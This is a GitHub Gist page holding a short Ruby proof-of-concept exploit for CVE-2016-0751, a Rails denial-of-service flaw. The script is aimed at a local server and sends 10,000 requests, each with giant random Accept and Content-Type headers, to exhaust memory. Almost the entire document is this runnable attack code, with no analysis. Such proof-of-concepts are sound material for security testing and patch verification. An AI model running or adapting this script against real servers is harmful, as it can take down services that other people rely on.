Created
January 28, 2016 14:16
-
-
Save mrThe/520dabca64a6bdf843ff to your computer and use it in GitHub Desktop.
[PoC] CVE-2016-0751
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://groups.google.com/forum/#!topic/ruby-security-ann/9oLY_FCzvoc | |
require 'uri' | |
require 'net/http' | |
require 'securerandom' | |
uri = URI("http://localhost:3000/") # Target | |
10000.times do |i| | |
http = Net::HTTP.new(uri.host, uri.port) | |
path = uri.path.empty? ? "/" : uri.path | |
evil_type_string = "#{SecureRandom.hex*1000}/#{SecureRandom.hex*1000}; evil_param=#{SecureRandom.hex*1000}" | |
evil_accepts = [] | |
100.times { evil_accepts << "#{SecureRandom.hex*1000}/#{SecureRandom.hex*1000}" } | |
headers = { 'Accept' => evil_accepts.join(", "), 'Content-Type' => evil_type_string } | |
http.get(path, headers) | |
puts i | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment